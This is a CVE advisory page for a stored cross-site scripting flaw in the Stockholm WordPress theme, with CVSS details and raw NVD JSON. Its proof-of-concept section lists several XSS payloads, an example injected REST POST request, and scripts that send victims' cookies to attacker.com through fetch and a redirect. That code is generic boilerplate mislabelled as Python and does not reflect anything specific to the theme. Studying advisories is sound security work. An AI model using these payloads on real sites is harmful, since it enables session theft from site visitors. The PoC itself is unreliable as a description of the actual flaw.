Security Vulnerability Report
中文
CVE-2025-68077 CVSS 6.5 MEDIUM

CVE-2025-68077

Published: 2025-12-16 09:16:03
Last Modified: 2026-04-15 00:35:42

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Select-Themes Stockholm stockholm allows Stored XSS.This issue affects Stockholm: from n/a through <= 9.14.1.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Stockholm主题 <= 9.14.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-68077 Stored XSS PoC for Stockholm Theme // This PoC demonstrates the XSS vulnerability in WordPress Stockholm theme // Payload 1: Basic script injection const payload1 = '<script>alert("XSS")</script>'; // Payload 2: Image onerror event handler const payload2 = '<img src=x onerror="alert(document.cookie)">'; // Payload 3: Body onload event const payload3 = '<body onload="alert(document.domain)">'; // Payload 4: SVG element with onload const payload4 = '<svg onload="alert(localStorage.getItem(\"wp_auth\"))">'; // Payload 5: Data URI with script (bypasses some filters) const payload5 = '<a href="data:text/html,<script>alert(1)</script>">Click</a>'; // Attack scenario: // 1. Attacker with low-privilege account (subscriber/contributor) // 2. Creates/edits a post or page using Stockholm theme templates // 3. Injects XSS payload into content, title, or custom fields // 4. Submits the content // 5. When other users visit the page, the malicious script executes // Example POST request structure: /* POST /wp-json/wp/v2/posts/123 HTTP/1.1 Host: target.com Content-Type: application/json Authorization: Bearer <low_privilege_token> { "title": "Normal Title", "content": "<p>Description with <script>alert(document.cookie)</script> injected</p>", "status": "publish" } */ // Cookie stealing payload: const stealCookiePayload = '<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>'; // Session hijacking payload: const sessionHijackPayload = '<script>document.location="https://attacker.com/phish?"+btoa(document.cookie)</script>';

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-68077", "sourceIdentifier": "[email protected]", "published": "2025-12-16T09:16:02.690", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Select-Themes Stockholm stockholm allows Stored XSS.This issue affects Stockholm: from n/a through <= 9.14.1."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/stockholm/vulnerability/wordpress-stockholm-theme-9-14-1-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}